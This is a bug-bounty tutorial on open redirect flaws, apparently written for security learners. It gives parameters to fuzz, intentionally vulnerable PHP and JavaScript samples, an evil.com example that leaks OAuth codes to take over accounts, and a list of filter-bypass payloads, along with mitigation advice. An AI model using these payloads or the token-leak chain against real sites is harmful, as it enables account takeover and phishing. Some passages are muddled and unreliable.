Vulnerabilities 101

Open Rediction in Bug Hunting

ayush khatkar

Jun 30, 2024 • 3 min read

I'll try to cover all of the information I know regarding open redirect. I just found an open redirect on a private program, which I was able to use to access the victim's account. With the help of this essay, I thought I'd let the community know that an open redirect isn't the only method to send a victim to a phishing website.

Open Redirect: What Is It?

An open redirection occurs when a web application or server uses an unvalidated user-submitted link to send the user to a particular website or page.

Where is Open Redirect located?

The following are some potential open redirect parameters (you can use them to FUZZ, Google Dork, or do a manual search):

?redirect_url=

?next=

?continue=

?goto=

?return_Url=

?destination=

?fromURI=

?redirect=

?go=

?from=

?return=

?rurl=

?checkout_url=

To have a deeper comprehension of it, let us examine a specific area of vulnerability within the codebase.

Vulnerable code #1:

<?php$redirect_url = $_GET['url'];echo "I'm a dummy page";header("Location: " . $redirect_url);?>

In this instance, the user gets redirected to the value of the url argument by passing the parameter url straight to the header Location. The server reroutes the user to the URL supplied by the url argument if you insert //evil.com to the parameter.

An example of an account takeover is:

If your target is configured for Oauth, the URL may appear as follows once a user authenticates with their credentials:

https://vulnerable.com/v1/oauth/authorize?response_type=code&client_id=CLIENT_ID

Where the user is redirected by the service following the issuance of an authorization code (redirect_uri=CALLBACK_URL).

Return_uri= handles the final destination with the token when authenticating using OAuth. As the site in the example above will return to https://www.vulnerable.com/callback with a ?code=, defined in response_type=code, you will be able to leak the token if you can redirect the user to a website under your control. *.theirdomain.com/* is typically whitelisted in Oauth configurations. By leveraging the open redirect we previously discovered, we can get around this. (The process is the same, but the settings could change.)

Using Open redirect abusively to obtain access tokens:

The user can be forwarded to the following URL: https://vulnerable.com/v1/oauth/authorize?client_id=CLIENT_ID&redirect_uri=This URL redirects to https://www.vulnerable.com/evil.com. As example.com is on the whitelist, this will be accepted as redirect_uri.
The token will be produced after the user authenticates.
After being sent to https://www.example.com/redirect?url=//evil.com?code=secret, the web application
The online application points to //evil.com/secret when redirected.
You may now use the code to access the victim's account as you have the code parameter on your server.

Abuse of Open Redirect for SSRF filter circumvention:

One common method of getting around filters is to employ open redirect. Let's say that a certain domain may redirect to any location, but your service is permitted to get material from it. After accessing the authorized server, an attacker is free to travel wherever they choose.

Vulnerable Code #2

<html>
<script>
     let url = new URL(window.location);
     let searchParams = new URLSearchParams(url.search); 
     c=searchParams.get('url');
     top.location.href=c;
</script>
<h1>Demo Open Redirect to XSS</h1>
</html>

As the URL is supplied through a url parameter and is not sanitized when used inside a script element, it is possible to insert malicious code into the url parameter and execute it to obtain cross-site scripting (XSS).

Avoidances:

Processing invalid user inputs is the most frequent reason for open redirection, especially when it comes to URL query strings. Avoid using user-controllable data in URLs wherever possible, and when you must use it, thoroughly clean it to lessen the likelihood of unwanted redirects. It is a good idea to whitelist all allowed target locations and reroute all other values to the default destination. An other choice is to generate a distinct ID for every redirect target, doing away with the user-controllable names of the URL.

By limiting referrer URL exposure with an appropriate Referrer-Policy header, you can further reduce the likelihood of token leaks.

Common Routes Around:

    \/yoururl.com
    \/\/yoururl.com
    \\yoururl.com
    //yoururl.com
    //theirsite@yoursite.com
    /\/yoursite.com
    https://yoursite.com%3F.theirsite.com/
    https://yoursite.com%2523.theirsite.com/
    https://yoursite?c=.theirsite.com/
    https://yoursite.com#.theirsite.com/
    https://yoursite.com\.thersite.com/
    //%2F/yoursite.com
    ////yoursite.com
    https://theirsite.computer/

My open redirect report was closed as Not Applicable/Informative, why?

Not always being able to send a user to a different domain will qualify as a vulnerability until you can make it worse enough to demonstrate a significant effect on the target.

This a cool public report that you can learn of - https://hackerone.com/reports/469803

Happy hunting!

Author: Ayush khatkar is a cybersecurity researcher, technical writer and an enthusiastic pen-tester at Asecurity. Contact here.

#bugbounty #infosec #cybersecurity